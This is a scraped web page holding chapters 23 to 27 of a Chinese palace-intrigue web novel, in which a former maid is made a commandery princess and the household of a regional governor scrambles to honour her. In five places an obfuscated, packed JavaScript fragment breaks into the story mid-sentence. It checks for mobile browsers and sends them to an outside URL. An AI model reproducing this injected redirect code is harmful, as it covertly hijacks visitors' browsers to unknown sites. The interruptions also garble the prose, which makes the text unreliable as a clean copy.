忍不住的,万珍珠想到,这是她在朱府里吃过的最上等好茶。多想一想,万珍珠在心底感慨着,有趣,太过有趣。 人生几十载,风云变幻,难以料准? 朱府前院,朱瑞和旬太监还在谈话。 朱府内宅,梧桐院。 “姑娘,正院来人报信儿,夫人醒了。”大丫鬟翡翠一脸激动的禀话道。 “娘醒了,太好了。”朱凤曦满面欢喜,她情绪激动的站起身。又道:“我得赶紧去正院。” 有娘的孩子是个宝。这时候的朱凤曦想见一见醒了的母亲。她就像是整个人有了主心骨一样,她不再是心惶惶。 朱府内宅,正院寢屋。 朱凤曦带着满腔的欢喜来,等见着母亲后,她又失落一回。 “娘……”朱凤曦坐于榻前,亲唤一声。 床榻上的杨夫人动一动嘴唇,口中吐字含糊且缓慢。她道:“凤曦……” “……”扬夫人说话时,精神肖可,身体不行。 朱凤曦耐心陪着,又跟医女关切问了母亲的情况。 “姑娘,夫人的病情,家父有斟酌。”医女又委婉表示她的医术平平无奇。 关于治疗一事,医女全程是听府医吩咐。后续,扬夫人的情况会慢慢改善。治疗,也是需要亿点点时间。 23. 第23章 第23章 “不用……担心……”杨夫人握着女儿朱凤曦的手有些无力。同时,她讲话时,也是断断续续。 朱凤曦瞧着这般模样的母亲,她心里难过。 “娘,您会无恙的。”朱凤曦只能这般宽慰自己。 “醒来……就好……”杨夫人说两字,又停顿一会,再说两字。 这般断断续续吃说,杨夫人就像是便了力气。 朱凤曦能感觉到母亲的虚弱。与其说是母亲握了她的手,不如说是她握了母亲的手。 母女二人双手相握,朱凤曦的手白皙细腻,而杨夫人的手却是软绵绵的。 “……”朱凤曦瞧着这般的母亲,她仰一仰头,眼睛酸涩,似乎想落泪。可眨巴眨巴眼睛后,朱凤曦把含着的泪意全部咽了回去。 仰了头,再垂回,朱凤曦这会儿强行挤了笑容。 “府医讲了,娘仔细的疗理,一定会好好的。”朱凤曦说着她自个也不怎么相信的话。 “好……”杨夫人信了。或者说她不敢不信。 半瘫在闲榻上,想起身都难着。这般的样子,活着与死了,光想想,皆是难熬了。 杨夫人的目光落在女儿的身上,她的眼中神情复杂。 “查……查出来……谁害人?”杨夫人又问道。 对于谁害她?杨夫人很关心。 在心头,杨夫人恨不能把幕后之人碎尸万段。 可谓泄五湖之水,不能洗干净她里的憎恶之念。 “父亲差人在查。”朱凤曦赶紧回道。 至于究竟谁害人?目前尚未查出来。对于幕后之人,朱凤曦跟母亲一样恨。 可再是恨,没查出来真凶,那也没辙。 杨夫人听着凶手没找到,她咬着牙,若不是虚弱无力。她真可能咬碎一口牙齿。 “查。”杨夫人讲出来这一字。 “娘放心,这事情不会就这般算了。爹差人查,兄长们也会差人查。女儿会一直关注这事情。一定要替娘报仇血恨。”朱凤曦语气坚定的回话道。 杨夫人瞧着女儿的态度,她的心头好受些。 毕竟听了女儿的话,夫君在意她,儿女在意她。听过了这一番话,杨夫人的心头暖。 就在母女二人谈话之后,在朱凤曦亲自侍奉了亲娘用过饭,又用过药汤。 再是简单的漱口后,朱凤曦准备侍候了母亲歇下。 就此时,朱凤曦的大丫鬟珊瑚进屋里,她禀话,道:“姑娘,天使来了府里宣旨……” 话至此,珊瑚停顿一下,尔后,又道:“镐京都的圣意,天子册封万姑娘为浑江郡主。” 浑江在哪?朱凤曦没听过。 朱凤曦真没听过地方,可能是小地方,她没注意到。 可大丫鬟珊瑚嘴里的万姑娘,朱凤曦熟悉了。 前脚刚是送走万珍珠母女去前院。她才来母亲这儿。 如今大丫鬟又送来这等大消息,这把朱凤曦给惊住。 “郡主,这……”朱凤曦有些话想讲。最后,全咽回肚子里。 “姑娘,前院递话,说是老爷请姑娘去一趟前院,当去给浑江郡主贺喜,贺郡主大喜。”珊瑚禀话,当然是讲了前院节度使朱瑞的吩咐。 “爹爹吩咐,女儿不敢担搁。”朱凤曦一听大丫鬟珊瑚的话,她忙应了。 这会儿的朱凤曦把目光落在母亲身上。她说道:“母亲,府上有大事,女儿要去前院一趟。这便去,等忙完,再来探望您。” 杨夫人轻轻点头。 朱凤曦得着母亲同意,忙把母亲的手轻轻搁下。 尔后,朱凤曦福一礼,便是带着丫鬟离开正院,往前院去。 待闺女离开后,杨夫人的一双眼眸子里,那神色大变。 哪还有女儿在意的温柔,此时,杨夫人的一双眼眸子里只有寒意,无尽的寒意。 “唤……杨嬷嬷。”杨夫人跟身边侍候的丫鬟吩咐一句。 “唯。”丫鬟忙应话。尔后,去传人。 过一小会儿,杨嬷嬷进屋来。一进来,杨嬷嬷忙行大礼。 “奴婢给夫人请安。”杨嬷嬷态度恭敬。 躺床榻上的杨夫人闭口不言,此时,她的目光落在杨嬷嬷身上,她的眼眸子里不掩寒意。 杨嬷嬷被主母的一双眼睛盯着,她觉得身子冷。 可杨嬷嬷不敢动弹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109972|162749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只能说杨夫人的积威太盛。那压得杨嬷嬷喘气都不敢大一点声儿。 “起。”杨夫人讲一字。 “谢夫人。”杨嬷嬷得了话,这才起身。 “万氏……”杨夫人吐两字。尔后,又道:“说说。” 杨嬷嬷听着杨夫人的问话,忙道:“牛家母女有运道。天家降旨,镐京都来使传的圣旨。那万家女万珍珠被册封为浑江郡主。” “夫人,这等事情一出来,那……那是天家的意思。瞧着老爷还是让姑娘去贺喜。”杨嬷嬷有些话也不敢多讲。 毕竟夫人差她去办的一些事情,那就是一些暗戳戳的谋划。 如今再是谋划又如何?镐京都的圣意一来,再是谋划,也跟阳光下的雪一样,总归得了无痕迹。 “不可……忤逆。”杨夫人努力讲道:“圣意。” “当……贺喜。”杨夫人说了她的意思。杨嬷嬷也听懂了。 朱府正院里。哪怕有杨嬷嬷的一番话,杨夫人也是顺了镐京都的圣意。 可在心底,杨夫人的心头叫一个酸涩难当。 明明替女儿愁谋,哪料想近些日子发生太多的事情。 甭管是杨婉芯自己遇上的祸事。还是万家母女遇上的喜事。 总之,杨婉芯在心里一琢磨,她就是觉得这巧合的。那跟万家母女克她一样。 杨婉芯也是迷信的。 “……” 杨婉芯此时此刻吩咐杨嬷嬷讲一讲,她晕厥后的详细情况。 杨嬷嬷不敢隐瞒什么,一一讲了。 “查,谁害我……”杨夫人跟杨嬷嬷吩咐道。 “唯。”杨嬷嬷应下事情。这事情肯定得查。 杨嬷嬷太清楚了,这事情的风波不会小。毕竟朱府的当家主母被害。 如今府里也是表面风平浪静。实则嘛,凶险着。 朱府前院。 等朱凤曦再来时,天使已经得着朱府的喜封,得着万珍珠母女给的喜封,那是收了大大的礼,于是告辞离开朱府。 天使来的快,去的快。 可做客朱府的旬太监更清楚,那天使也是自家人。跟他一样是干爹万内相的干儿子。 24. 第24章 第24章 朱凤曦来到前院时,她恰好听到父亲正在讲话。 “郡主身份尊贵,岂可住于客栈等简陋之地。请郡主留于朱府小住。”朱瑞前头对面万珍珠的身份不在意。 可现在嘛,天家的赏赐一来,他就很在意。 大晋天子赐的郡主之位,这等身份了不得。 虽然不清楚大晋天子为何会赐一个太监之女堂堂郡主之位? 哪怕那太监是宫廷内相。在朱瑞心里,这郡主之位舍得太容易。 可表面上,应该给郡主尊荣让一让时,朱瑞绝对是做到位的。 朱凤曦一来,她向万珍珠见礼问安。 在心头,朱凤曦也是嘀咕一回。要问她的心情如何?就很复杂。 要羡慕,有一点。说嫉妒,也有一点。毕竟之前的时候,朱凤曦是主子姑娘。 如今万珍珠身份一变,朱凤曦得见礼。这上下尊卑变化的太快,朱凤曦遭不住。 “请郡主留于朱府小住。请您给朱府表达一点尊敬您的机会。”朱凤曦也挺客气,留客时,那是真正把态度摆出来。 万珍珠先被朱节度使挽留,又被曾经的主子姑娘朱凤曦挽留。 万珍珠对于朱府没感情,可被人踩过,再被人捧了。那感情就挺古怪。 牛嬷嬷却是被朱凤曦求一求后,她跟亲闺女万珍珠嘀咕一回。 “如此,劳烦贵府了。”万珍珠瞧在亲娘的态度上,她没拒绝。 万珍珠要留下来,这等时候,那身份不同。自然不会跟以前一样。 或者说万珍珠被大晋天子册立为浑江郡主之事,一切就大不同。 万珍珠和亲娘一道被留客,朱府待贵客当然是下了大本钱。 请万珍珠母女住的院子,那也是贵宾所居之处。 在隔壁不远处,还有套院。那是齐王世子李明弘的住所。 至于万珍珠母女住的院子,也是三进的院子。同样是套院,还有跨院的小花园。 一住进来,万珍珠心头就感慨,果然是大户在家。瞧瞧,这待客的院子都是一步一景,美的惊心。 “不再打扰了嬷嬷和郡主的歇息,府上明个将举行大宴,为郡主加封之喜大贺。”朱凤曦又提一事。 关于万珍珠做郡主这一点小事,那可小不了。 在永州地界,万珍珠又留在朱府做客。于是朱府当然就是有自觉的态度,那替浑江郡主举办了贺宴。 这贺宴不止是在永州地界宣扬了浑江郡主的名声,更是给大家伙机会,让大家伙送了珍贵的贺礼,在浑江郡主跟前露一露脸。 同时,亦是在万内相的跟前,那是显现一回姓名。 也许永州地界,谁谁送了浑江郡主重礼。可能万内相没注意到。 可谁谁没给浑江郡主送了重礼,在镐京都的万内相跟前,那肯定会大大的露一手。 至于这露一手,那好处肯定没有。得了万内相的恶意,一旦被穿小鞋,真就是一个“冤”字没处喊。 朱府正院。 朱凤曦从待客的栖凤阁离开,她没有回梧桐院。 朱凤曦去了母亲杨夫人住的院子。 “凤曦。”杨夫人见着女儿,她从女儿的身上感受到了那一等委屈的气息。 杨夫人浑身难受。可瞧着女儿这般模样,她替女儿心疼着。 “娘。”朱凤曦喊一声,尔后,她落泪了。 一瞧着母亲担忧关切的神情,朱凤曦忙替自己抹了泪。 从袖中抽出来的帕子擦了泪,朱凤曦将帕子捏在手心里。 “我没事。”朱凤曦对于自己的脆弱,那是突然有了明悟。 “说……说。”杨夫人讲道:“为什么?” 杨夫人再三追问。朱凤曦无奈,她瞧着母亲急红脸。于是朱凤曦挥挥手,挥退了屋中侍候的丫鬟婆子。 待剩下母女二人后,朱凤曦跟母亲实话实说。 朱凤曦讲了她对万珍珠的轻视,又讲了万珍珠成为浑江郡主,她不得不行礼,不得不请安的一种失落感。 就像是自个的自尊,在皇权面前,一下子不值钱了。 “我儿……”杨夫人想说些什么。 杨夫人的心里,她的儿女是最好得。特别是女儿凤曦,那肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114865|162749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定值得天下间最好的一切。 无论是家世姻缘,杨夫人盼着女儿得到了最好的一切。 就像是曾经想剥夺了万珍珠的身份。问杨夫人后悔不后悔? 杨夫人只会后悔,当初为何没成功。 至于一旦成功,万珍珠母女又如何?在杨夫人心底,万珍珠母女不过是朱府的家生子奴仆,奴仆而矣,朱府多矣。 让杨夫人评价,她都不带抬一下眼皮子多瞧一眼的。 可如此,就是这般杨夫人不带正眼一瞧的家生子奴婢,那得着抬举,还成为当朝郡主。 郡主身份尊贵,哪怕朱凤曦是世家女。可她没有封爵。 朱凤曦在面对当朝郡主时,她还得见礼请安。 至于将来吗? 将来朱凤曦的前程如何,一旦成婚,当然还得看夫君的前程。 若是郎君的前程不够,可能一辈子都要在所谓的“浑江郡主”跟前低头。 堂堂郡主,这身份真不低。杨夫人闹不懂的便是天子为何太容易就封了郡主。 又或者说朝堂上的文武百官,那为何不阻止了这一场册封? 旬太监没留在朱府。旬太监还要去跟义弟问一问,这朝廷的册封来的太突然。 不止朱府的人意外,就是旬太监也意外。 要知道旬太监离开镐京都时,可不知道还有这一出大戏。 等着义弟来宣旨时,旬太监才知道这一出大戏登场。 在客栈,旬太监留了义弟小住几日。宣旨的天使当然不会拒绝。 “义弟,如何来的匆忙?愚兄离开镐京都时,可不知道有此等大事。义父待珍珠妹妹,真可谓是一片慈父之心。羡慕,甚是羡慕。”旬太监感慨一回。 旬太监说的真心话。有这般得力的亲爹,搁谁,谁都羡慕。 “义兄,弟走这一遭。那真是意外。纯粹是天降的福。”宣旨天使对着镐京都行一个拱手礼。 “说起来,也是义父立了大功,如此,陛下恩赏之时,百官方不可阻。”宣旨天使又讲道。 “快,请义弟为愚兄解惑。”旬太监关切的问道。 25. 第25章 第25章 镐京都,内城,万宅。 万忠良在养伤,他暂时不能在大晋天子跟前侍候当差。 哪怕如此,对于朝堂上的风声,对于宫廷内的消息,万忠良还是很关注的。毕竟,这乃是万忠良的立身根本。 特别是关于大晋天子跟前的一举一动,无论大小消息,万忠良都要知道,都要分析。 “辛苦你了。”万忠良跟向他禀报消息的干儿子讲道。 不止夸一回,万忠良还是赏一回。 “干爹,谢您赏。”小黄门得着赏,利落行一个礼。 对于黄白之物等金银,做为没根的太监,万忠良一直很喜欢。可喜欢归喜欢,万忠良在应该给身边人一起分享一下财富时,他就挺大方。 要不然,万忠良也不会一直顺利的爬到如今的位置。 有时候,太小气的人,舍不得自己私财的貔貅,想在宫廷里混到高位。那难了。 镐京都,皇宫,宫廷。 大晋天子洪福帝就不习惯。或者说近些日子大伴万忠良不在跟前侍候,他整个人不舒坦。 暂时替万忠良当差的,也是天子跟前的旧人。 可旧人跟旧人,在大晋天子心头的地位还是不一样的。 洪福帝登基前,不足五岁,尚是稚童。彼时,万忠良来到还是皇子的洪福帝跟前当差。 那会儿的洪福帝不得先帝的宠爱。一个不得宠的皇子,还是生母早逝的皇子。那小日子过得不舒坦。 至于原来侍候小皇子的宫人们,那一样过得不舒坦。 就在小皇子最不得意时,万忠良到了小皇子跟前侍候。 不止仔细妥帖,还是努力的想法子改善小皇子的生活。 至于说,暗暗鼓励小皇子寻一个无子又得宠的养母。最后,凭着养母又在父皇跟前得宠。 一路从不得宠的皇子,在先帝驾崩后,凭着养母背后的庞大娘家势力,再是幼年登基为帝。 等等的过往,要说大晋天子不记得,那怎么可能? 洪福帝太记得。不得宠时,黑黑的屋子。吃不好穿不暖,还被宫人们蔑视。 等着有万大伴后,洪福帝一下子从受冷遇再到掉进福窝窝。 更甚者说,登基之后,洪福帝还是做了盖章泥偶。他就是养母,那一位皇太后以及其背后势力的傀儡。 可傀儡又如何?天子大义在手。 等洪福帝成年,又是万忠良多方替洪福帝奔波,尔后,牵线拉拢了倒国舅的势力。 剪除外戚,让皇太后还政。让洪福帝这一位天子亲政。 万忠良用自己的忠心证明了,他是忠臣。在大晋天子洪福帝的心里,那是大大的忠臣。 “万大伴的情况如何,近日可是养的可好些了?”洪福帝跟陈忠问道。 陈忠是天子跟前老人,可惜,就是不够能耐。 或者说在天子跟前,那得着的信任不够。至于洪福帝不太相信。 因为陈忠是洪福帝发家后,至少是寻着养母后,那日子过得不错时才来到天子近前当差的。 这跟天子没一起共患难,在天子心里的地位当然不同。 “禀陛下,太医每三日替万大人诊一次平安脉。太医的脉案上呈禀,万大人再养半月,当是痊愈。”陈忠恭敬回道。 “朕甚想万大伴。”洪福帝每日一感慨。 在陈忠心里,他是羡慕万忠良这地位。瞧瞧,人不在,可天子就是念着,记着。 在陈忠的心里,未曾不是感慨,那万忠良的命真硬。 要是这一回死翘翘了,那多好。给人腾位置。可惜,万忠良没死成。 至于说没死成,再动一动手脚?陈忠倒想。 只是无论宫廷内外,陈忠的势力没有万忠良的庞大。 这不是没能耐干掉万忠良嘛,要不然,陈忠一定不会客气。 莫看他在万忠良跟前,还是摆了属下的态度。在心底,只要是没根的太监,谁又不想摸一摸万忠良那有“内相”美称的宫廷大总管位置。 永州,朱府,客院。 齐王世子李弘明也听说了,朱府明日待客。那是大宴永州各路贵客,当然,那是替浑江郡主张罗的。 对此,李明弘不介意顺道送一份礼物。这事情还是赵济世去办的。 赵济世会得了差遣,不如说,还是他自己推荐自己去办了这一份差遣。 在心头,赵济世感慨了万珍珠的好运道。 天子册封郡主,不是想册封就能册封。可一旦册封了,那真是了不得。一辈子,不止自己的富贵,就是儿孙的富贵也是照拂了。 “……” 赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118946|162749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 济世送礼,万珍珠没有拒绝的道理。哪怕这一份礼,那真正送礼的主人是齐王世子李明弘。 “多谢齐王世子养意,劳赵大人走一趟,辛苦您了。”万珍珠说得客气。 待客之时,万珍珠还是挥退了侍候的朱府丫鬟。 当然了,在挥退侍候的丫鬟们后,门没关,大大方方的开着屋门。 万珍珠只是压低一些声音,问道:“赵大人,在此,还要谢谢您。若非您的恩情,我哪有今日富贵。” 人前显贵,那谁给的机会?或者说谁提供帮助,万珍珠都记得。 “这是郡主的机缘,我,不过凑巧罢了。郡主是天生的贵人,当不得您的感激。”赵济世认得清楚自己的位置。 浑江郡主感激了太多回,他觉得得了万内相的重礼,那已经足够。 “只一事,不知郡主知否?”赵济世问道。 “何事,赵大人请讲。”万珍珠笑道。一笑,笑的灿烂如春光。 赵济世瞧着盛妆打扮后,可谓是明媚动人的万珍珠。 一时之间,赵济世被眼前的笑脸似乎恍忽了片刻。 他走神了?赵济想想着。 可不是的,赵济世清楚,他心里最明白,他只是被这一抹灿烂笑容,还有面前的浑江郡主给夺了心神。 欣赏?不,或许是喜欢。来得很突然的喜欢。 “赵大人……”万珍珠瞧着赵济世盯着自己瞧。 “可是我哪处不对?”万珍珠问道。 头一回盛妆打扮。以前不是不想。哪一个少女不爱美。而是以前的身份不允许。 如今又不同,堂堂天子册封的郡主,那想如何张扬,就可以如何张扬的盛妆招摇。 只能说,万珍珠也爱美,还爱自己臭美亿点点。 “……”赵济世收回心神,他道:“郡主盛美,若昭昭明光,我,只是一时被惊艳了。” 赵济世大方的夸一回。 万珍珠忍不住捂嘴一笑。头一回,得着人直明的夸赞,她挺开心。 “若是旁人夸,我绝记不信。可赵大人夸,我便相信了。”万珍珠笑得开心,眉眼间尽是喜色。 “……”赵济世也笑了。笑罢,又道:“扰郡主好兴致,我想提的一事,便是郡主的封号。那浑江一地的归属,如今尚不在大晋朝的治下。” 26. 第26章 第26章 万珍珠听过赵济世的话,她愣神一下,忙回道:“得天子恩典,我能被册封为浑江郡主已经是泼天幸运。至于是真有食邑,还是一个封号郡主,于我而言,皆是富贵加身。岂敢奢求更多?” 万珍珠能看得清楚自己的处境。她真没太大的野望。 或者说在朱府当家生子那些年,前世在司马家当仆妇那些年。再多的不甘心,那也在一日一日的时光里被教育了。 人嘛,有了希望就好。奢望太多,会生贪婪。 万珍珠觉得有时候贪婪不可怕,那会让人有上进心。可有时候太贪了,那就很可怕。 因为太贪了,容易掉入陷井里,更可能再也爬不出来。 “赵大人,您知道的。我原来不过一介侍候主子姑娘的小丫鬟。如今得了郡主尊位,这跟做梦一样的变化。我这会儿还适应不了呢。”万珍珠自嘲一笑。 哪怕早有心里准备。可瞧着朱府上上下下对她和亲娘的态度转变。 那等转变,天差地别。原来她是匍匐在朱三姑娘跟前的,不起眼的小丫鬟。朱三姑娘都不带多瞧一眼的,可能多瞧一眼,那都是赏她的体面。 如今呢,朱三姑娘见着万珍珠时,还要先上前见礼请安。 瞧着朱三姑娘眼里偶尔一闪而过的那些不自在。哪怕隐藏着,可到底没瞒过直觉敏锐的万珍珠。 这一等人上人的感觉,说实话,很爽快。那一种精神上的享受,谁尝过,谁都会乐不思蜀。 于此,万珍珠也了解亿点点,为何都说权利是最好的药,能药到病除。 那些权在手的人,那瞧上去就是威风赫赫,浑身上下加了一层又一层的光环,如此,让人不敢小觑。 可真是权利的光环一旦被打破后,又会被人重新的审视着,再一瞧,不过平平无奇一凡人罢了。 说来说去,人生下来,再分什么三六九等。用什么区分?不过是权利的任性罢了。 “万姑娘大度,您能想得通透,倒是我着相了。”赵济世瞧着坦坦荡荡的万珍珠,他自嘲一笑。 “赵大人一番美意,您好心提醒,我在此,当谢谢赵大人才对。”万珍珠可不傻。旁人是善意,还是恶意? 这得区分着。一旦区分了,善意的,当感恩。 也是此时,万珍珠跟赵济世问了,浑江在哪? 浑江非是一县之地,而是一郡之地。此郡离着大晋朝的北疆不算太远。 浑江,一条大河之北的上游分支流域。靠北,也是滋养了塞北的一小片肥沃平原土地。更有美称“塞上明珠”。 可这等肥美的土地,于前朝大一统之时,还属于中原治下。 在如今中原分裂,各国称皇的世道里。浑江郡被塞北的胡人占据了。 朝廷册封公主郡主,郡主的封号一般不会用一郡来册封。因为嘛,太过了。 可万珍珠这一回的封号却是用了一郡之地来册封。原由简单,不过是一个封号。 至于食邑,那是没有。 谁让浑江郡压根儿就不属于大晋朝的管辖。 对于大晋天子而言,下一道圣旨,赏一点珍宝。如此,事情就算打发掉。 在万珍珠闹清楚自己的封号来源时。 朱府内宅,正院寝屋。 朱三姑娘在跟母亲讲话。或者说,朱三姑娘在讲,杨夫人在听。 “娘,明个府上大宴。”朱三姑娘说了浑江郡主的大喜事,朱府乐于当一回东道主,还是当了冤大头替浑江郡主花钱办宴会。 “瞧着府上张灯结彩,好不热闹。”朱三姑娘的心头是酸溜溜的。 “上一回府上这般热闹,还是女儿的及笄礼。”朱三姑娘这会儿回忆过往。 对于及笄礼,特别是府上唯一的嫡出姑娘。朱凤曦的及笄广纳八方宾客。那等热闹,那等喧嚣,朱凤曦还是自持骄傲着。 如今呢,万珍珠一番奴隶翻身把歌唱。让朱凤曦得低一头。 朱凤曦在心里吃味,就是免不了的。 “凤曦……”杨夫人握一握女儿的手。她使了力,可到底力轻。 朱凤曦回握了母亲的手,她瞧着母亲担忧的眼神。朱凤曦强行的挤了一抹笑容,说道:“娘,我替浑江郡主高兴。再说,府上举办了宴会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124979|162749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。也是替府上张目一回。就当是提前练一练手。这宴会可是女儿来张罗。” “入秋,二位嫂嫂会嫁进府里。娘,府上喜事一桩接一桩。女儿全是欢喜着。”朱凤曦这会儿转移话题。 问朱凤曦心情,此时坏坏的。可当着母亲的面,朱凤曦不敢说了真实的心情。 朱凤曦只能捡一捡场面话,尽量哄着自己,哄得自己都相信,她真高兴,她真开心。 朱凤曦在转换了自己的心情。想让自己看开些。 朱府上,可有许多人在暗中议论。谣言,流言,各种议论在潜流之下,可谓是波涛汹涌。 家下人房。 曾经跟万珍珠共事过,一起干活当差的丫鬟们。那一样聚一起议一议新出炉的浑江郡主。 “真羡慕郡主娘娘,郡主娘娘太有福气了。” “这天生的,天注定的命数。” “……”跟万珍珠住一屋的锦儿讲道:“可不嘛,天注定的。这爹娘给的富贵,哪里是自个想挣,那就能挣来的。” “锦儿姐姐说的对。想当初的福香姐姐,那就是想攀了高枝,结果,命没了。瞧瞧郡主娘娘,福从镐京都来,这天老爷赏恩,哪用得着攀高枝。这高枝注定会落了脚下。” “对,对。就这道理。” 一屋里几个丫鬟,个个有着说法。当然,诸人闲谈,没谁敢说什么坏话。 能进府当差,再是木讷,也没谁真的是傻子。都会害怕万一讲了小话,万一被人蛐蛐一回,让人给郡主娘娘告密。 那一闹腾了,可就是大祸事,指定小命不保。 瞧瞧,如今的情况嘛,就成了人人都说浑江郡主的好话。好似浑江郡主一下子给打上了“圣母”的光彩。 人美,心善,哪哪都好。 住了朱府里,也不过一晚上。万珍珠的风评是一日三变。不是小变,那是大变。 曾经嘛,万珍珠可能还是不合群等等,指定不是完美之人,肯定还有小毛病,小缺点。 至于此时风声,一时激荡,在朱府上上下下的嘴里,人人说着浑江郡主时,满口称赞,都是好话一箩筐。 27. 第27章 第27章 牛嬷嬷是头一回见着这般盛妆隆重的女儿。女儿穿着郡主娘娘的宫装,入目之时,锦衣玉服,头戴玉冠。 一时之间,让牛嬷嬷不敢相信这是自己的亲闺女。那通身的气派,牛嬷嬷瞧着,她觉得眼前的亲闺女比曾经的主子姑娘朱凤曦更气派。 “太好了。”牛嬷嬷一时之间不知道应该说些什么。呢喃三字,也不过是舒展一下心底的感慨。 “……”牛嬷嬷心想,镐京都的闺女亲爹瞧见了现在的珍珠,那一定会很欣慰吧。 虽然在心底,牛嬷嬷对于去镐京都的心情特别复杂。既是期待又是忐忑。 期待着富贵加身,往后会有好日子。忐忑着,亲闺女只是女娃,当家的膝下就亲闺女一条血脉。那会不会不满意了亲闺女只是女娃,而不是男丁? 牛嬷嬷对于万忠良的印象,如今还停留在曾经的印象里。 如今的万内相是什么模样?牛嬷嬷想像不到的。 或许牛嬷嬷偶尔想像了,也是把万忠良的模样再套一套对旬太监的坏印象。 牛嬷嬷的脑海之中,一下子浮现的便是跋扈太监形象。毕竟,太监留给牛嬷嬷的印象,跋扈二字,最为深刻。 “娘。”万珍珠唤一声亲娘。 “好看吗?”万珍珠问道。 “好看,太漂亮了。”牛嬷嬷真心实意的回道。 “气派吗?”万珍珠继续笑问道。 “气派,通身贵气,打眼一瞧,就让人知道这是一位尊贵的郡主娘娘。”牛嬷嬷眼中带着喜意,开开心心的对亲闺女回话道。 曾经再是忐忑不安,再是想着过什么“平凡”日子。 可一切不是不同了嘛。牛嬷嬷对于新的改变,她还是期待的。特别是期待了亲闺女有一个前程美好的未来。 朱府今朝宴宾客,广开方便之门。永州地界,有名有姓的人家都是登门拜访。 哪怕这请贴送的匆忙,可朱府的脸面大。或者说浑江郡主背后的万内相脸面更大。 “郡主娘娘,三姑娘求见。”朱府丫鬟进屋禀话道。 “快请。”万珍珠对朱府丫鬟说道。 朱三姑娘朱凤曦登门,她这会儿来不止为着给万珍珠见礼请安。朱凤曦更是来做了中间人,先给万珍珠美言一二,尔后,再介绍一下永州地界的各路名门淑媛。 朱凤曦是朱府的嫡出姑娘。她登门,万珍珠客气的见一见。 待宾主双方谈话时,朱凤曦也是态度热忱。 如此,双方皆有意,可谓是得一个宾主尽欢。 朱府内宅,栖霞阁。 朱四姑娘朱小蝶听一听身边一等大丫鬟月香的禀话。 “姑娘,府里可热闹了。三姑娘亲自给牛嬷嬷介绍各府的主母。至于各府的姑娘们,也由三姑娘领着到浑江郡主跟前认一认脸,说一说话。”月香嘴里说的热闹。 可听了朱小蝶的耳中,却是心头烦燥着。 朱小蝶在守孝,她对于生母白小娘一片孝心。 于此,在这等热闹的场合,朱四姑娘是识趣的避一避。 可在心底,朱小蝶嘀咕过好些回。朱小蝶是羡慕了万珍珠这一位浑江郡主的好运道。 郡主娘娘,这等尊位荣耀加身,朱小蝶羡慕的很。特别是午夜梦回之时,她恨不能以自己替之。 可能就是有这般的小心思,朱小蝶还是查出来一些线索。 朱小蝶知道了正院做过的一些小动作。毕竟于朱四姑娘而言,在生母没了后,她对嫡母和嫡姐皆是敌视着,暗戳戳的窥视着。 “三姐姐八面玲珑,想必要入了浑江郡主的法眼。”朱小蝶冷哼一声,淡淡说道。 “可惜……”可惜什么?朱小蝶懒得多说。 朱小蝶只是在心底琢磨着,寻到机会,还要让人在浑江郡主的耳边嘀咕嘀咕。 朱府内宅正院的人,可没安什么好心思。朱小蝶是乐意替正院宣传一番。 朱府,前院。 今个朱府大宴客,大宴主角是万珍珠这一位浑江郡主。 宴请归宴请,总要有一个名目张扬。于是朱府用的名目便是万珍珠的及笄礼。哪怕万珍珠的十五岁及笄礼早过去。 可朱府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128322|162749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 